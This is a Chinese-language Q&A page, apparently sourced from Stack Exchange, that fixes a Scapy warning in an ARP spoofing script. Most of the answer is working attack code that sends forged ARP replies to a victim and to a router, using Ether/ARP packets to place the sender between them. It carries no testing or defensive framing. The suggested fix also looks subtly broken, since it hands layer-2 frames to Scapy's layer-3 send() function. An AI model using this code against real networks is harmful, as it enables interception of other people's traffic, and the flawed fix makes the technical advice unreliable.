使用Scapy实现ARP欺骗时出现目的MAC地址警告的解决方法
修复ARP欺骗脚本的Scapy警告问题
这个警告是因为你只在ARP层指定了hwdst(ARP包的目标硬件地址),但发送ARP包时没有在**以太网帧层(Ether)**指定目的MAC地址。Scapy要求发送is-at类型的ARP包时,必须显式指定以太网层的目标MAC,而非仅在ARP层设置。
具体修复步骤:
- 将ARP包封装到Ethernet帧中,给
Ether()指定dst参数(值为你之前获取到的目标设备MAC地址) - 欺骗受害者(冒充路由器)、欺骗路由器(冒充受害者)的两个ARP包都需要做这个封装处理
代码示例对比:
原写法(触发警告):
send(ARP(op=2, pdst=victim_ip, hwdst=victim_mac, psrc=router_ip)) send(ARP(op=2, pdst=router_ip, hwdst=router_mac, psrc=victim_ip))
修复后写法:
from scapy.layers.l2 import Ether, ARP from scapy.sendrecv import send # 欺骗受害者:伪装成路由器 send(Ether(dst=victim_mac)/ARP(op=2, pdst=victim_ip, hwdst=victim_mac, psrc=router_ip), verbose=False) # 欺骗路由器:伪装成受害者 send(Ether(dst=router_mac)/ARP(op=2, pdst=router_ip, hwdst=router_mac, psrc=victim_ip), verbose=False)
关键说明:
Ether(dst=目标MAC)明确指定了以太网帧的接收方MAC,满足Scapy对is-atARP包的发送规范- 加上
verbose=False可以关闭Scapy的默认输出,让脚本运行更简洁
内容的提问来源于stack exchange,提问作者giaco dev
相关产品推荐
相关产品推荐

